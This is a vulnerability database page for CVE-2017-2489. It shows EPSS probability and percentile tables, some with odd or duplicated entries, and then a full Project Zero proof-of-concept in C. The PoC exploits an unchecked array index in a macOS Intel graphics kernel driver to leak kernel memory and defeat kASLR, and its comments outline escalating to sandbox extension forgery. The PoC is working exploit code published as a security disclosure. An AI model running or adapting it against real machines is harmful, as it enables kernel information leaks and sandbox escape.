CVE-2017-2489 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	0.55%	–	–	–	–
2021-09-05	–	0.55%	–	–	–
2021-09-19	–	0.55%	–	–	–
2021-10-10	–	0.55%	–	–	–
2021-10-17	–	0.55%	–	–	–
2022-01-02	–	0.55%	–	–	–
2022-01-09	–	0.55%	–	–	–
2022-01-30	–	0.55%	–	–	–
2022-02-06	–	–	2.36%	–	–
2022-02-13	–	–	2.36%	–	–
2022-04-03	–	–	2.36%	–	–
2022-07-31	–	–	2.36%	–	–
2022-08-14	–	–	2.36%	–	–
2022-08-21	–	–	2.36%	–	–
2023-03-12	–	–	–	0.16%	–
2023-07-23	–	–	–	0.16%	–
2024-02-11	–	–	–	0.16%	–
2024-03-31	–	–	–	0.16%	–
2024-06-02	–	–	–	0.16%	–
2024-06-16	–	–	–	0.16%	–
2024-08-04	–	–	–	0.16%	–
2024-08-11	–	–	–	0.16%	–
2024-12-08	–	–	–	0.16%	–
2024-12-22	–	–	–	0.16%	–
2025-03-02	–	–	–	0.16%	–
2025-01-19	–	–	–	0.16%	–
2025-03-09	–	–	–	0.16%	–
2025-03-18	–	–	–	–	1.88%
2025-03-30	–	–	–	–	1.65%
2025-03-30	–	–	–	–	1.65,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2021-04-18	–
2021-09-05	32%
2021-09-19	33%
2021-10-10	32%
2021-10-17	33%
2022-01-02	34%
2022-01-09	12%
2022-01-30	13%
2022-02-06	58%
2022-02-13	59%
2022-04-03	8%
2022-07-31	81%
2022-08-14	8%
2022-08-21	81%
2023-03-12	51%
2023-07-23	52%
2024-02-11	51%
2024-03-31	52%
2024-06-02	52%
2024-06-16	53%
2024-08-04	52%
2024-08-11	53%
2024-12-08	54%
2024-12-22	53%
2025-03-02	54%
2025-01-19	53%
2025-03-09	54%
2025-03-18	82%
2025-03-30	8%
2025-03-30	8%

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069 MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability. This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it uses to index an array of pointers with no bounds checking: AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *) __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace ... __text:000000000002A3B8 mov eax, [rbx] ; read dword __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0 __text:000000000002A3C9 jz short ___fail __text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes __text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace __text:000000000002A3DA call _memcpy For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable pointer there which will allow us to read back vtable contents and defeat kASLR. With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext HMAC key and forge sandbox extensions if it still works like that. tested on MacOS Sierra 10.12.2 (16C67) */ // ianbeer // build: clang -o capri_mem capri_mem.c -framework IOKit #if 0 MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability. This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it uses to index an array of pointers with no bounds checking: AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *) __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace ... __text:000000000002A3B8 mov eax, [rbx] ; read dword __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0 __text:000000000002A3C9 jz short ___fail __text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes __text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace __text:000000000002A3DA call _memcpy For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable pointer there which will allow us to read back vtable contents and defeat kASLR. With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext HMAC key and forge sandbox extensions if it still works like that. tested on MacOS Sierra 10.12.2 (16C67) #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach_error.h> #include <IOKit/IOKitLib.h> int main(int argc, char** argv){ kern_return_t err; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 4096; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0x1d8; for (int step = 1; step < 1000; step++) { memset(inputStruct, 0, inputStructCnt); *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8)); outputStructCnt = 4096; memset(outputStruct, 0, outputStructCnt); err = IOConnectCallMethod( conn, 0x710, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err == KERN_SUCCESS) { break; } printf("retrying 0x2000 up - %s\n", mach_error_string(err)); } uint64_t* leaked = (uint64_t*)(outputStruct+3); for (int i = 0; i < 0x1d8/8; i++) { printf("%016llx\n", leaked[i]); } return 0; }